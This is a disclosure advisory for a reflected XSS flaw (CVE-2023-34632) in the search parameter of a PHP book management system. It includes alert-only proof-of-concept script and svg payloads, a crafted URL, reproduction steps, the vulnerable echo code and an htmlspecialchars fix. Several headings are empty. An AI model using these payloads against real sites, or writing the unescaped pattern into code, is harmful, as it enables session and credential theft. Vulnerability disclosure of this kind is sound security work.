CVE-2023-34632

Reflected XSS in 1000projects Book Management System 1.0

CVE-2023-34632

Reflected Cross-Site Scripting (XSS) in 1000projects Book Management System 1.0

Description

A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in 1000projects Book Management System version 1.0. The vulnerability exists in the search functionality (index.php), where user-supplied input via the search parameter is reflected in the HTTP response without proper sanitization or output encoding.

An attacker can craft a malicious URL containing JavaScript code. When a victim clicks the link, the script executes in the context of the victim's browser session, potentially leading to session hijacking, credential theft, or phishing attacks.

Affected Product

Vulnerability Details

Proof of Concept

Payload

http://localhost/book-management/index.php?search="><script>alert('CVE-2023-34632')</script>

Steps to Reproduce

1. Install XAMPP/WAMP and deploy Book Management System 1.0 to the web root
2. Navigate to the application in a browser
3. Enter the following payload in the search box (or visit the crafted URL above):
   root@kitploit:~

   "><script>alert('CVE-2023-34632')</script>
   

4. Observe the JavaScript alert popup, confirming the XSS vulnerability

Screenshot

Alternative Payloads

">

"><svg/onload=alert('CVE-2023-34632')>

Root Cause

The search parameter value is directly embedded into the HTML response without any sanitization. The PHP code does not apply htmlspecialchars() or equivalent output encoding before rendering user input.

Vulnerable Code Pattern

// Vulnerable - user input directly rendered in HTML output
$search = $_GET['search'];
echo "Search results for: " . $search;

Remediation

Apply proper output encoding to all user-supplied input before rendering in HTML context:

// Fixed - proper output encoding
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $search;

Impact

• Session Hijacking — Attacker can steal session cookies via document.cookie
• Credential Theft — Fake login forms can be injected to phish user credentials
• Malware Distribution — Victims can be redirected to malicious websites
• Defacement — Page content can be manipulated in the victim's browser

Timeline

Credit

Discoverer: Wonkyeom Kim (@ssophiz)

References

• 1000projects Book Management System
• CWE-79: Improper Neutralization of Input During Web Page Generation
• OWASP - Cross-Site Scripting (XSS)